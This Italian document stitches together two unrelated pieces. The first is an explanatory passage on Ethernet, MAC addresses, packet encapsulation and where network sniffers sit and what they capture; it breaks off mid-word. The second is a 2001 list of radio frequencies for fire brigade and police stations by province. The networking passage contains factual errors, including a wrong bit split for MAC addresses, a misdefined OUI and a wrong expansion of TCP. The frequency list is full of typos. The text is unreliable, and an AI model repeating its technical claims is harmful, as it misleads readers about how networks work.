Poiche' molte macchine possono condividere una singola connessione ethernet, ognuna di esse deve possedere un identificatore (ricordate che, in realta', e' la scheda di rete, l'hardware, a possedere un indirizzo, non la macchina in se'); questo non succede quando comunichiamo con una connessione dial-up utilizzando il nostro modem casalingo, perche' si presuppone che tutti i dati che inviamo siano destinati all'entita' che risiede all'altro capo della linea (in genere il nostro Internet Service Provider, che ci assegnera' un indirizzo IP dinamico). Tuttavia, se comunichiamo attraverso una rete ethernet dobbiamo specificare esattamente a quali macchina andranno consegnati i pacchetti inviati, anche se la rete fosse composta solamente da due computer: ricorderete che il protocollo ethernet fu sviluppato per permettere a migliaia di macchine di dialogare fra loro.

Cio' e' possibile 'inserendo' un numero esadecimale (cioe' con notazione a 16 cifre; il MAC address e' composto, invece, da 12 digit) in ogni destinazione ethernet ;
questo numero, in apparenza astruso e' l'indirizzo MAC.
Eccone un esempio: 00-40-05-A5-4F-9D

Il MAC address e' composto da 48 bit (8bit = 1byte ; il bit e' l'unita' di misura fondamentale dell'informatica).
Questi 48 bit verranno divisi in due meta': 24 bit identificano il nome del produttore della ethernet card, i riamanenti 22 bit identificano il nemero di serie UNICO assegnato alla scheda dallo stesso produttore: in questo modo l'indirizzo MAC di due ethernet adapter non sara' mai uguale; questo serial number e' chiamato OUI (Organizationally Unique Identifier) - e gli ultimi 2 bit ? -

Il protocollo ethernet ci permette anche di comunicare con macchine che non risiedono sulla nostra stessa rete ma sono interallacciate alla nostra tramite il protocollo TCP/IP (Transport Control Protocol over Internet Protocol, in realta' e' un'intera famiglia di protocolli): tuttavia non e' possibile inviare e ricevere i dati nella loro forma originale allo stesso modo in cui non e' possibile inviare per posta (snail mail) una lettera senza averla imbustata e dotata di francobollo e indirizzo del destinatario.

L'invio dei dati e la loro gestione in rete e' gestita dai diversi protocolli, a partire dall'ethernet, cosi' dovremo trattare i nostri dati in modo che i protocolli possano 'capire' cosa farne.

Il compito dello sniffer non sara' solo quello di registrare e archiviare dati ma si potra' istruirlo a riconoscere e suddividere i vari header (intestazioni) dei pacchetti per tracciare e controllare solo i pacchetti che soddisfino le piu' svariate e complesse regole (pattern) che possano interessare chi controlla lo sniffer.

Vediamo cosa succede con una breve spiegazione:

'A' (alice) possiede un indirizzo IP: 10.0.0.23 (tutti i pacchetti inviati da 'A' saranno marcati con questo indirizzo)
'B' (barbara) possiede invece l'indirizzo IP: 192.168.100.54

Per comunicare con 'Barbara', che si trova in una rete diversa, 'Alice' deve creare un pacchetto IP che abbia piu' o meno questa forma: [IP packet= (10.0.0.23 ===> 192.168.100.54)]

Questo compito e' svolto dalle applicazioni (dai software) usate da alice per spedire i dati lungo la rete e consiste in una operazione d'incapsulazione successiva dei dati in un pacchetto che all''esterno' presenta i suoi dati TCP, poi quelli IP. Poiche', generalmente, i dati passano da reti ethernet, al pacchetto ora descritto saranno aggiunti altri tre strati: il primo e' l'identificativo dell'ethertype (comunica all'applicazione TCP/IP della destinazione di processare i dati), all'esterno di quest'ultimo sara' visibile il MAC address sorgente e infine quello del destinatario (se il destinatario e' inserito in una LAN)

```
----------------------
* MAC add. destinatario
** MAC add. sorgente
*** ethertype
===================
# IP info
## TCP info
................................
# DATI
................................
===================
* CRC
----------------------
```

Solo allora alice inviera' il pacchetto a barbara ed esso attraversera' il primo router sulla via per la sua destinazione finale; ogni router che il pacchetto incontrera', leggendo la destinazione IP decidera' il corretto cammino dei dati verso barbara.

Dobbiamo pero' tener conto di alcuni fattori:
alice conosce solamente l'indirizzo IP di barbara e il percorso che fara' il pacchetto fino al suo primo router (locale);
alice non sa nulla della struttura di internet ne' del percorso che il pacchetto compira' dopo essere stato processato dal suo router.

Tutti i router, tranne quello che gestisce l'indirizzo destinatario, possono leggere gli indirizzi

ethernet ma li ignorano e instradano nuovamente il pacchetto.
Lo sniffer forza questa regola e copia il pacchetto per archiviarlo sul suo supporto di preferenza.

Ricordiamo che, parlando di sniffer, non ci riferiamo a strumenti che registrano l'attivita' che compiamo sulla tastiera del computer o cio' che avviene sul nostro schermo. Quest'attivita', compiuta da programmi definiti key logger, equivale a leggere cio' che viene battuto sulla tastiera sopra le spalle di chi scrive. Essa potra' rivelare ugualmente, forse con minor dispendio di risorse, password o altri dati sensibili ma non sara' mai in grado di osservare il traffico che intercorre tra due terminali o su un intera rete di macchine. Quest'operazione, e la susseguente analisi dei dati raccolti, viene fatta, per l'appunto, attraverso gli sniffer.

Vediamo, dunque, dove e' piu' probabile trovare uno sniffer all'interno di una LAN e quali gradi di rischio corre la rete stessa:

- possibile collocazione di uno sniffer:

In realta' uno sniffer potrebbe essere installato ovunque sulla rete, tuttavia esistono dei punti strategici che, permettendo la raccolta di determinate informazioni, sono favoriti rispetto ad altri. Uno di questi e' un qualsiasi punto adiacente ad una macchina in cui si puo' presumere passino notevoli quantita' di password; ad esempio un gateway di rete oppure un nodo che ospiti traffico in entrata e in uscita verso l'esterno della rete stessa.
Se la LAN e' connessa con l'esterno si puo presumere che lo sniffer cerchera' di controllare e copiare le procedure d'utenticazione con le altre reti, cosa che permetterebbe di aumentare in via esponenziale le possibilita' invasive di chi gestisce lo sniffer.

Come regola generale, terremo conto del fatto che lo sniffer sara' installato, sia esso hardware o software, all'interno dello stesso blocco di rete (net of trust) del network che si e' inteso controllare.
Ovviamente esistono numerose eccezioni che rendono spesso difficile individuare i punti esatti in cui cercare uno sniffer all'interno della rete. Questo e' ancor piu' vero per alcuni tool, decisamente costosi e non alla portata di tutti (chi ha orecchie per intendere, intenda), sviluppati per operare analisi di traffico al livello dello stesso cavo di rete (cable sniffer); possono cosi' essere impiantati direttamente sulla connessione fisica del network.

Gli sniffer (software) sono molto meno subdoli di quel che si pensi, per fortuna, e la loro locazione piu' probabile, in una LAN, e', come abbiamo visto, sui server che la gestiscono per intero o nei nodi intermedi ma quel che piu' ci interessa e' porre l'accento sulla possibilita' che questi prodotti offrono, se usati con costanza e cognizione, di ottenere risultati che vanno dall'aquisizione di password alla raccolta di dati sensibili, solo per citare alcuni degli obiettivi piu' nefasti.
Sicuramente rappresentano un pericolo per la nostra privacy, intesa nel suo senso piu' lato, o possono portare, ad esempio, agli stessi risultati di intercettazioni telefoniche e ambientali, a causa, spesso, dell'eccessiva sicurezza con cui si pensa di poter disporre del mezzo informatico.
Torneremo piu' avanti su questi punti; limitiamoci, per ora, ad analizzare i rischi dal punto di vista della sicurezza della rete e della sua connessione.

- livelli di rischio:

gli sniffer rappresentano un rischio elevato per una rete o per il pc dell'utente medio. La semplice esistenza di uno sniffer in rete rappresenta una falla e una minaccia alla sicurezza e alla riservatezza delle comunicazioni all'interno della rete stessa.
Se la LAN che utilizzate e' sottoposta al 'controllo' di uno sniffer ci sono due possibilita': un intruso, dall'esterno, e' riuscito ad entrare all'interno della rete e installare lo sniffer, oppure un utente o il gestore della rete stessa sta' combinando qualcosa che potrebbe andare ben oltre la manutenzione e il monitoraggio delle connessioni. In ogni caso la vostra privacy, o peggio la sicurezza stessa di tutte le comunicazioni, e' compromessa.

Prendiamo come esempio la situazione che potrebbe interessare l'utente medio durante l'utilizzo delle reti universitarie:
se le connessioni utilizzate per accedere a internet o le connessioni, poniamo, dal pc al server dell'aula informatica, abitualmente usata dagli studenti, e' monitorata da uno sniffer, qualsiasi dato sensibile in passaggio sulla LAN controllata e' a rischio d'intercettazione e successiva archiviazione (e magari utilizzo).

In base alla quantita' di traffico prodotto e alla quantita' di traffico raccolta dallo sniffer (abbiamo visto come cio' dipenda dalle scelte di chi installa lo sniffer e in base alla 'memoria' disponibile) possiamo stabilire che i dati maggiormente a rischio sono proprio le password personali utilizzate per accedere ai piu' svariati servizi di rete (login utente, accesso al proprio spazio su disco) o

servizi internet (la vostra mail-box!), poiche' la richiesta d'accesso e, quindi, di invio della password rientra nei primi pacchetti che vengono inviati per ogni tentativo di connessione al servizio prescelto dall'utente ed e' il primo dato che viene filtrato dallo sniffer.
Generalmente, poi, i servizi in rete o web utilizzano protocolli d'utenticazione del tutto in chiaro (non cifrati).

Dal punto di vista dell'analista di sicurezza lo sniffing e' un attacco di secondo livello. L'intruso si e' gia' introdotto nella rete e ora cerca di compromettere maggiormente la sicurezza del sistema.

Comunque, cio' che puo' essere raccolto dallo sniffer, non e' rappresentato solamente dagli elenchi degli utenti o le password d'accesso ai servizi ma puo' contenere dati che spaziano dal numero della (onnipresente) carta di credito ad altri dati finanziari, fino al testo del messaggio spedito via e-mail.

Come si diceva prima,pero', e' improbabile che uno sniffer sia dotato di supporti che gli permettano di catturare tutto il traffico in passaggio su un dato network; in piu' all'aumentare del traffico in una rete aumentano anche i pacchetti che saranno persi: dai rapporti tecnici relativi agli sniffer e' emerso che, in network dotati di connessioni ad alta velocita' e con volumi di traffico elevati, una parte considerevole dei dati sfugge alla cattura dello sniffer.
D'altro canto cio' non significa che una rete piu' grande fornisca, di per se', una maggiore sicurezza ai suoi utenti.

- sistemi operat

Elenco Frequenze

" Utility "

VHF - UHF

Radioascolto

ITALIA 2001

PREFAZIONE

Questa è una raccolta di servizi e frequenze ricavata da una ricerca di dati effettuata sulla

“GAZZETTA UFFICIALE”

pertanto di pubblico dominio e di libera distribuzione e detenzione. L’unico intento è di essere utile a quanti interessati a focalizzare l’hobby del radioascolto. oltre ad operatori addetti ai servizi di soccorso terrestre, di pronto intervento, associazioni di volontariato e protezione civile, aeronautico, marittimo, e a quant’altro personale operi nei settori civili con apparati radio operanti nel campo di frequenze vhf-uhf comprese tra i 26 e 900 MHz.

Si porta a conoscenza chiunque venga in possesso di una copia di questa pubblicazione che:

notizie e informazioni d’ascolto riportate si attengono alle attuali leggi vigenti in materia penale

INDICE

PUBBLICO SOCCORSO – VV.FF.

BANDA 73-74MHz

LINK MASTER UHF - LIMITI DI BANDA 434-435 444-445 MHz

PER OGNI PROVINCIA VENGONO RIPORTATI I DISTACCAMENTI DIPENDENTI

PROVINCIE E **LOCALITA’**	**FREQUENZE**
Agrigento	73.500 73.600
Canicatti (contrada Ponte Bonavia)	
Lampedusa	
Licata	
Santa Margherita di Belice	
Sciacca	
Alessandria	73.625 73.850
Acqui Terme	
Casale Monferrato	
Novi Ligure	
Ovada	
Tortona	
Ancona	73.550<>73.575 (simulcast) 73.600
Ancona (nautica)	
Fabriano	
Falconara Marittima (località aeroporto)	
Jesi	
Osimo	
Senigallia	
Aosta	73.525 73.800 73.950
Courmayeur	
Pont Saint Martin	
Arezzo	73.650 73.775 73.850 73.900
Arezzo (Nucleo Elicotteri)	
Bibbiena	
Cortona (località Tavarnelle)	
Montevarchi	
Pratovecchio	
San Sepolcro	
Ascoli Piceno	73.600 73.650<>73.875 (simulcast) 73.775
Fermo	
San Benedetto del Tronto	
Asti	73.625
Nizza Monferrato	
Avellino	73.525
Bisaccia	
Grottaminarda	
Lioni (contrada Macchione)	
Montella	
Bari	73.550<> 73.600 (simulcast) 73.700 73.800
Bari (aeroporto Palese)	
Bari (Nucleo Elicotteri)	
Bari (nautica)	

Altamura
Barletta
Putignano

Belluno 73.525 73.650 73.825 73.875
Agordo
Colle Santa Lucia
Cortina d'Ampezzo
Feltre
Longarone
Piave di Cadore
Santo Stefano di Cadore
Selva di Cadore

Benevento non disponibili
Bonea
Castelvenere
San Marco Dei Cavoti

Bergamo 73.500 73.700<>73.925 (simulcast)
Clusone
Gazzaniga
Lovere
Orlo al Serio (località aeroporto)
Romano di Lombardia
Treviglio
Zogno

Biella 73.575<>73.725<>73.750<>74.067,5 (simulcast)
Trivero (frazione Ponzone)

Bologna 73.550 73.575 73.650 73.950
Bologna (aeroporto Borgo Panigale)
Bologna (Nucleo Elicotteri)
Budrio
Casalecchio di Reno
Casteì San Pietro Terme (volontari)
Castiglione dei Pepoli (volontari)
Imola
Medicina (volontari)
Porretta Terme (volontari)
San Giovanni in Persiceto (volontari)
San Pietro in Casale (volontari)

Bolzano 73.600 73.700
Bressanone (frazione Albes)
Brunico
Chienes
Cornedo all' Isarco
Corvara in Badia
Laives (località San Giacomo)
Malles Venosta
Merano
Ortisei (volontari)
Predonico (volontari)
San Candido
Selva VaI Gardena (volontari)
Senale-San Felice
Silandro (frazione Vezzano) (volontari)
Villa Santa Caterina (volontari)
Vipiteno (volontari)

SONO RIPORTATI I PRINCIPALI DISTACCAMENTI
OPERANTI NELLA PROVINCIA

Brescia	**7**3.500 73.525 73.750
Brano	
Chiari	
Darfo-Boario Terme	
Edolo	
Orzinuovi	
Salò	
Verolanuova	
Brindisi	73.550<>73.600 (simulcast) 73.950
Brindisi (aeroporto Casale)	
Brindisi (nautica)	
Francavilla Fontana	
Ostuni	
Cagliari	73.750
Cagliari (aeroporto Elmas)	
Cagliari (nautica)	
Carbonia	
Iglesias	
Sanluri	
Caltanissetta	73.575 73.600
Gela	
Mussomeli	
Campobasso	73.525
Termoli (contrada Pantano Basso)	
Caserta	73.625
Aversa	
Teano	
Catania	73.550 73.800
Catania (aeroporto Fontanarossa)	
Catania (Nucleo Elicotteri)	
Catania (nautica)	
Acireale	
Adrano	
Caltagirone	
Mascali	
Paternò	
Catanzaro	73.550 73.700
Chiaravalle Centrale (contrada Foresta)	
Lamezia Terme (aeroporto SantEutemia Lamezio)	
Chieti	73.625 73.750
Casoli	
Lanciano	
Ortona	
San Giovanni Teatino (località aeroporto)	
Vasto	
Como	73.500 73.600
Appiano Gentile	
Cantù	
Canzo	
Dongo (presso stabilimento Falck)	
Erba	
Lomazzo	

Cosenza — 73.625<>73.750 (simulcast) 73.700
Castrovillari
Corigliano Calabro
Paola
Rossano
Scalea

Cremona — 73.500 73.750
Crema

Crotone — 73.550 73.700 73.850
Cirò Marina
Isola Capo Rizzuto (località aeroporto)

Cuneo — 73.700<>73.925 (simulcast)
Alba
Barge
Brà
Ceva
Cortemilia
Fossano
Geressio (volontari)
Mondovi Breo
Racconigi
Saluzzo
Santo Stefano Belbo
Santo Stefano Roero
Savigliano

Enna — 73.575 73.800 73.950
Nicosia
Piazza Armerina (contrada Bellia)

Ferrara — 73.550 73.775
Bondeno
Cento
Codigoro
Portomaggiore

Firenze — 73.525 73.675 73.900
Firenze (aeroporto Peretola)
Firenze ovest (località Viadotto indiano)
Borgo San Lorenzo
Castelfiorentino
Empoli
Figline Valdarno
Marradi
Sesto Fiorentino

Foggia — 73.550<>73.600 (simulcast) 73.625 (isole Tremiti) 73.650
Cerignola
Manfredonia
San Severo

Forlì — 73.550 73.625
Forlì (aeroporto L. Ridolfi)
Cesena
Rocca San Casciano

Frosinone — 73.575
Cassino
Sora

Genova 73.550<>73.675<>73.750 (simulcast) 73.600 (regionale)
Genova (aeroporto C Colombo)
Genova (Sezione Elicotteri)
Genova (nautica)
Bolzaneto
Busalla
Chiavan
Moltedo
Rapallo

Gorizia 73.625
Monfalcone
Ronchi dei Legionari (località aeroporto F. Tomizzi)

Grosseto 73.675 73.900
Arcidosso
Follonica
Orbetello (località Orto Tellini)

Imperia 73.550 73.800<>73.950 (simulcast) 73.600 (regionale)
Bordighera
Diano Marina
San Remo
Ventimiglia

Isernia 73.525
Agnone

La Spezia 73.550 73.700 74.050 73.600 (regionale)
La Spezia (nautica)
Sarzana

Latina 73.575 73.675 73.750
Aprilia
Castelforte
Gaeta
Terracina

Lecce 73.500~73.725 (simulcast) 73.550~73.600 (simulcast)
Gallipoli
Maglie
Tricase

Lecco 73.500 73.600
Ballano
Merate

Livorno 73.500<>73.775 (simulcast) 73.900
Livorno (nautica)
Piombino
Portoferraio
Portovecchio

Lodi 73.500 73.950
Casalpusterlengo
SantAngelo Lodigiano

Lucca 73.825 73.900
Casteinuovo di Garfagnana
Viareggio

L'Aquila 73.525 73.750
Avezzano
Castel di Sangro
Sulmona
Tagliacozzo

Macerata 73.500 73.600 73.700
Camerino
Civitanova Marche

Mantova 73.600 73.525 73.750
Castiglione delle Stiviere
Suzzara

Massa 73.575~73.800 <simulcast> 73.900
Aulla
Carrara
Pontremoli

Matera 73.850 (da accertare) 73.550~73.600 (simulcast)
Policoro coro

Messina 73.600 73.950
Messina (nautica)
Lipari (presso Scuole Elementare)
Milazzo
SantAgata di Militello (contrada Torre Candela)
Taormina

Milano 73.500 73.650 73.950
Abbiategrasso
Carate Brianza
Casale-Bernate Ticino
Corbetta
Desio
Gorgonzola
Inveruno
Legnano
Linate (località aeroporto Forlanini)
Lissone
Magenta
Monza
Seregno
Sesto San Giovanni

Modena 73.550 73.950
Carpi
Fanano (servizio discontinuo)
Finale Emilia (servizio discontinuo)
Pavuilo nel Frignano
San Felice sul Panaro
Sassuolo

Napoli 73.550 73.650 73.925
Napoli (aeroporto Capodichino)
Napoli (nautica)
Afragola (località Salicelle)
Bacoli
Capri
Castellammare di Stabia
Ischia

Noia
Pozzuoli
Secondigliano

Novara 73.575<>73.900 (simulcast)
Arona
Borgomanero
Domodossola
Romagnano Sesia
Varallo Ponbia

Nuoro 73.550
Lanusei
Macomer
Siniscola

Oristano 73.950
Ales

Padova 73.650 73.925
Castelfranco Veneto
Cittadella
Este
Piove di Sacco
Saonara

Palermo 73.800 73 900
Palermo (distaccamento Nord)
Palermo (distaccamento Sud)
Palermo (nautica)
Corleone
Partinico
Petralia Soprana
Termini Imerese (contrada Bevuto)
Ustica

Parma 73.550 73.975
Borgo VaI di Taro
Fidenza

Pavia 73.500
Garlasco
Mede
Mortara
Vigevano
Voghera

Perugia 73.675 73.700 (fonogrammi) 73.775 73.800 73.925
Assisi
Città di Castello
Foligno
Gubbio
Norcia
Spoleto
Todi

Pesaro 73.525 73.600 73.875 73.725 73.950 (simulcast)
Cagli
Fano
Novafaltria
Urbino

Pescara 73.625 73.675 73.750
Pescara (aeroporto Liberi)

Piacenza 73.550 73.875
Bobbio Piacentino
Fiorenzuola d’Arda

Pisa 73.625<>73.925 (simulcast) 73.900
Pisa (aeroporto San Giusto)
Cascina
Pontedera
Santa Croce Sull’Arno
Volterra (località Saline)

Pistoia 73.675 73.700 73.000
Borgo a Buggiano
Montecatini Terme
Pescia
San Felice
San Marcello Pistoiese

Pordenone 73.950
Maniago
San Vilo al Tagliamento
Spilimbergo

Potenza 73.900
Lauria
Marsicovetere
Melfi

Prato
73.525 73.900

Ragusa 73.800 73.850
Modica (contrada Serrauccelli)
Vittoria

Ravenna 73.550 73.825<>73.975 (simulcast)
Faenza
Lugo

Reggio Calabria 73.500 73.675 73.700
Raggio Calabria (aeroporto T. Menniti)
Melito di Porto Salvo
Palmi
Polistena
Siderno

Reggio Emilia 73.550 73.950
Castelnuovo nè Monti
Guastalla

Rieti 73.550 73.575
Fara Sabina

Rimini 73.550 73.625 73.675
Rimini (aeroporto Miramare)
Cattolica

Roma 73.600 73.900
Roma (aeroporto Ciampino)
Roma (aeroporto Fiumicino)

Roma (stazione Fluviale)
Anzio
Bracciano
Civitavecchia (località Porta Tarquinia)
Colleferro
Frascati
Lido di Ostia
Marino
Montelibretti
Palestrina
Pomezia
Subiaco
Tivoli
Velletri

Rovigo 73.650 73.675
Adria

Salerno 73.500
Bellizzi (Nucleo Elicotteri)
Eboli
Nocera inferiore
Sala Consilina (strada statale 16)
Vallo dalla Lucania
Vecite Santa Caterina

Sassari 73.575 73.850
Alghero (Nucleo Elicotteri - aeroporto Fertilia)
Olbia (località aeroporto Costa Smeralda)
Ozieri
Porto Torres
Tempio Pausania

Savona 73.525<>73.875<>73.950 (simulcast) 73.550 73.600
(reg.)
Savona (nautica)
Albenga
Cairo Montenotte
Finale Ligure
Vado Ligure
Villanova di Albenga (località aeroporto Gallinara)

Siena 73.750<>73.775 (simulcast) 73.900
Chianciano Terme
Montalcino (località Osservanza)
Montepulciano (località Lo Sterro)
Piancastagnaio
Poggibonsi

Siracusa 73.600 73.800 73.925
Augusta
Lentini
Noto
Palazzolo Acreide

Sondrio 73.525 73.850
Bormio
Chiavenna
Morbegno
Tirano (magazzeno deposito)

Taranto 73.550<>73.600 (simulcast)
Taranto (nautica)
Castellaneta
Manduria

Teramo 73.750 73.850 73.900
Nereto
Roseto degli Abruzzi

Terni 73.625 73.800 73.975
Amelia
Orvieto Scalo

Torino 73.550 73.800 (simulcast) 73.850 73.650 Ivrea
Almese
Alpignano
Carmagnola
Chivasso
Caselle (località aeroporto)
Caselle (Nucleo Elicotteri)
Condove
Glaveno
Grugliasco
Ivrea
Lanzo Torinese
Luserna San Giovanni
Pinerolo
Riva di Chiari (volontari)
Rivalta
Rivoli
San Maurizio Canavese (Nucleo Elicotteri)
San Mauro Torinese
Sant'Antonino di Susa (autorimessa)
Santena
Susa
Torre Pellice
Venaria Reale
Vinovo

Trapani 73.800 73.950
Trapani (aeroporto Birgi)
Trapani (nautica)
Alcamo
Castelvetrano
Marsala
Mazara del Vallo
Pantelleria (località Aeroporto)

Trento 73.500 73.575 73.625 73.700 73.725 73.775
Cavalese
Trento (Nucleo Elicotteri)
Arco
Borgo Vai Sugana
Canazei di Fassa

SONO RIPORTATI I PRINCIPALI DISTACCAMENTI
OPERANTI NELLA PROVINCIA

Castello Molina di Fiemme
Cavalese
Fiera di Primiero (volontari)
Fondo in Val di Non
Levico Terme
Madonna di Campiglio (località Pinzolo)
Malè
Mezzano di Primiero

Pergine Valsugana
Predazzo
Rovereto Trentino
San Martino di Castrozza (magazzeno)

Treviso 73.600 73.650
Treviso (aeroporto SantAngelo)
Asolo (presso Biblioteca) (volontari)
Castelfranco Veneto
Conegliano
Mogliano Veneto
Montebelluna
Motta di Livenza
Vittorio Veneto

Trieste 73.525 73.650
Muggia
Punto Franco Vecchio
Villa Opicina

Udine 73.500 73.675 73.700 73.750
Latisana
Cervignano deI Friuli
Gemona deI Friuli
Lignano Sabbiadoro
Pontebba
San Daniele deI Friuli
Spilimbergo
Tarvisio
Tolmezzo

Varese 73.500 73.625
Busto Arsizio
Gallarate
Luino
Malpensa (località aeroporto)
Saronno
Somma Lombardo

Venezia 73.575 73.650 73.900
Venezia (aeroporto Tessera)
Venezia (Nucleo Elicotteri)
Venezia lido
Cavarzere
Chioggia
Jasolo lido
Marghera (nautica)
Mestre (località Favorita)
Mira (località Oriago)
Mirano
Noale
Portogruaro
San Donà di Piave

Verbania 73.575<>73.900 (simulcast)
Baceno
Gravellona Toce (posto di vigilanza)
Macugnaga
Omegna
Santa Maria Maggiore
Stresa
Varzo

Villadossola

Vercelli 73.575<>73.725<>73.750<>74.087,5 (simulcast)
Alagna Valsesia (frazione Centro) (volontari)
Borgosesia
Ponzone
Santhià
Varallo Sesia (strada statale 299)

Verona 73.550 73.650 73.750
Bardolino
Dossobuono (aeroporto Villafranca)
Legnago

Vibo Valentia 73.550 73.700

Vicenza 73.800 73.900
Arzignano
Asiago
Bassano del Grappa
Lonigo
Schio
Thiene

VIterbo 73.525 73.575
Civile Castellana
Tuscania

CANALIZZAZIONE APPARATI UHF

L’utilizzazione avviene a livello provinciale - da verificare assegnazione per ogni bacino d'utenza

434.650 434.812,5 442.075 442.125 442.250 442.275 442.425 442 825 MHz

PRONTO INTERVENTO – POLIZIA

BANDA 76-79 MHz

LINK MASTER UHF - LIMITI DI BANDA 434 –435 443-444 444-445 MHz

(limiti di banda 444 - 445 MHz vengono utilizzati solo in alcune regioni)

VENGONO RIPORTATE LE PROVINCIE E LOCALITA’ DISPONIBILI

LOCALITA’	PROV	FREQUENZE
Acerra	NA	79.150
Adria	RO	77.875
Afragola	NA	79.150
Agrigento		78.000 78 275
Alassio	SV	78.575
Albano Laziale	RM	77.950 79.125 (da verificare)
Alcamo	TP	78 825
Alessandria		76.700 77.675 78.475
Alghero	SS	77.050
Ancona .		77.450 77.525 78.575 79.175
Andria	BA	78.325
Anzio	RM	77.950 79.125 (entrambe da verificare)
Aosta		77.850 79.100
Arezzo		77.900
Ariano Irpino	AV	77.875
Arona	NO	78.975
Ascoli Piceno		78.250
Assisi	PG	77.875
Asti		79.050
Atri	TE	77.575 77.650
Augusta	SR	76.775
Avellino		78.800
Aversa	CE	78.150
Avezzano	AQ	77.575 77.700
Avola	SR	76.775
Bercellona Pozzo di Gotto	ME	79.075
Bari		77.200 77.325 77.375 77.650 78.100 76.200 78.325
Barletta	BA	78.325
Bassano del Grappa	VI	78.175
Battipaglia	SA	78.950
Belluno		77.475 78.700
Benevento		78.775
Bergamo		77.750 78.250
Biella		78.800
Bitonto	BA	78.325
Bizzarrone	CO	77.125 (da verificare)
Bologna		77.450 77.550 78.075 78.150 78.600 79.075
Bolzano		77.450 77.475 77.550
Bovalino	RC	78.700
Brà	CN	78.825
Brennero	BZ	77.550 (da verificare)
Brescia		78.725
Bressanone	BZ	77.400 77.750 (entrambe da verificare)
Brindisi		77.150 77.650
Brogeda	CO	77.125 (da verificare)
Busto Arsizio	VA	78.250
Cagliari		78.525 (da verificare) 79.025

Cairo Montenotte	SV	77.200			
Caltanissetta		79.150			
Campobasso		77.475	77.750		
Canicatti	AG	77.700	78.000	(da verificare)	
Canosa di Puglia	BA	78 325			
Capo d’Orlando	ME	79.075			
Capri	NA	79.175			
Capua	CE	78.150			
Carpi	MO	77.500			
Carrara	MS	77.475	78.525		
Casa Possa	GO	78.050			
Casale Monferrato	AL	78.050			
Caserta		78.175			
Cessino	FR	77.350			
Castel Gandolfo	RM	77.200	(da verificare)		
Castellammare del Golfo	TP	78.825			
Castellammare di Stabia	NA	79.175			
Castelvetrano	TP	78.825			
Castelvolturno	CE	78.150			
Catania		77.975	78.175	79.150	
Catanzaro		78.675			
Cava dei Tirreni	SA	78.950			
Cavalese	TN	77.600			
Cecina	LI	79.025			
Cefalù	PA	78.875			
Cerignola	FG	78.125			
Cervinara	AV	77.875			
Cesena	FO	77.850			
Chiavari	GE	79.100			
Chieti		77.575	78.050		
Chioggia	VE	78.625			
Chiusi	SI	77.925			
Cinisello Balsamo	Ml	78.700			
Cisterna	LT	75.925			
Città di Castello	PG	77.875			
Cittanova	RC	78.700			
Cividale del Friuli	UD	78.075			
Civitanova Marche	MC	78.925			
Civitavecchia	RM	77.950	79.125	(entrambe da verificare)	
Colleferro	RM	77.950	79.125	(entrambe da verificare)	
Comiso	RG	79.100			
Como		78.600			
Condofuri	RC	78.700			
Corato	BA	78.325			
Cortina d’Ampezzo	BL	77.550			
Courmayeur	AO	78.900			
Cremo	CR	77.875			
Cremona		77.875			
Cuneo		78.150			
Domodossola	VB	77.200			
Duino	TS	77.075	77.950		
Empoli	FI	77.550			
Enna		79.000			
Fabriano	AN	78.575			
Faenza	RA	77.950			
Falconara	AN	77.150	78.575		
Fano	PS	78.550			
Farfa Sabina	RI	77.475	77.800	(da verificare)	
Fermo	AP	78.250			
Fernetti	TS	77.550			
Ferrara		78.200			
Firenze		77.550	78.500	78.525	79.175

Fiuggi	FR	77.350						
Fiumicino	RM	77.950	79.125	(entrambe da verificare)				
Foggia		78.125	79.050					
Foligno	PG	77875						
Fondi	LT	76.925	(da verificare)					
Forlì		77.650						
Formia	LT	76 925	(da verificare)					
Forte dei Marmi	LU	78.650						
Frascati	RM	77.950	79.125	(entrambe da verificare)				
Frattamaggiore	NA	79.150						
Fregene	RM	77.950	79.125	(entrambe da verificare)				
Frosinone		77 350	(da verificare)					
Gaeta	LT	76.925	(da verificare)					
Galatina	LE	78.225						
Gallarate	VA	78.250						
Gallipoli	LE	78.225						
Gavoi	NU	78.700						
Gela	CL	78.950						
Genova		77.275	77.675	77.975	78.550	78.600	78.650	78.825
		78.950	78.975	79.075	79.150			
Genzano di Roma	RM	77.950	79.125	(entrambe da verificare)				
Gioia Tauro	RC	78.700						
Giugliano in Campania	NA	79.150						
Giulianova	TE	77.650						
Gorizia		78.050						
Gradisca d’Isonzo	GO	78.050						
Grado	GO	78.050						
Gravina di Puglia	BA	78.300						
Grosseto			77.825					
Grottaglie	TA	78.025	78.275					
Imola	BO	79.075						
Imperia		78.975						
Ischia	NA	79.150						
Isernia		77.475	77.525					
Ivrea	TO	77.650						
Jesi	AN	78.575						
Jesolo Lido	VE	78.625						
La Spezia		78.725	79.125					
Lamezia Terme	CZ	79.150						
Lanciano	CH	77.575	78.050					
Lanusei	NU	78.700						
Latina		76.925						
Lauro di Nola	AV	77.875						
Lecce		78.225	79.050					
Lecco		78.575						
Legnano	Ml	78.700						
Lentini	SR	76.775						
Licata	AG	77.700						
Lignano Sabbiadoro	UD	78.050						
Livorno		78.100	79.025					
Locri	RC	78.700						
Lodi		78.750						
Lucca		77.225	(da verificare)					
Lucera	FG	78.125						
Lugo di Ravenna	RA	77.950						
Luino	VA	78.250						
L’Aquila		77 700						
Macerata		78 925						
Macomer	NU	78.700						
Maddaloni	CE	78 150						
Malles Venosta	BZ	77.400	77.750	(entrambe da verificare)				
Malpensa	VA	77.625	78.250					

Manduria	TA	78.025	78.275						
Manfredonia	FG	78.125							
Mantova		76.850							
Marano	NA	79.150							
Marghera	VE	78.825	78.850	79.175					
Marina di Massa	MS	77.850							
Marino	RM	77.950	79.125	(entrambe da verificare)					
Marsala	TP	78.825							
Martina Franca	TA	78.025	78.275						
Massa		77.475	78.525						
Matera		77.625	77.850						
Marzara del Vallo	TP	78.825							
Melfi	PZ	77.100							
Merano	BZ	77.400	77.750	(entrambe da verificare)					
Mesagne	BR	78.050							
Messina		77.725	78.675	78.725	79.150				
Mestre	VE	77.975	78.825	78.850					
Milano		76.850	77.925	78.000	78.275	78.325	78.500	78.675	79.075
Milazzo	ME	79.100							
Mirandola	MO	77.500							
Modena		77.500							
Modica	RG	79.100							
Moena	TN	77.950	78.475						
Mola	BA	78.300							
Molfetta	BA	78.325							
Mondragone	CE	78.150							
Monfalcone	GO	78.050							
Monopoli	BA	78.300							
Montecatini Terme	PT	77.725							
Montevarchi	AR	77.900							
Monza	Ml	78.700							
Mortara	PV	77.975							
Muggia	TS	77.075							
Napoli		76.725	77.350	77.650	77.700				
		77.950	78.025	78.225	78.275				
Nardò	LE	78.225							
Niscemi	CL	78.950							
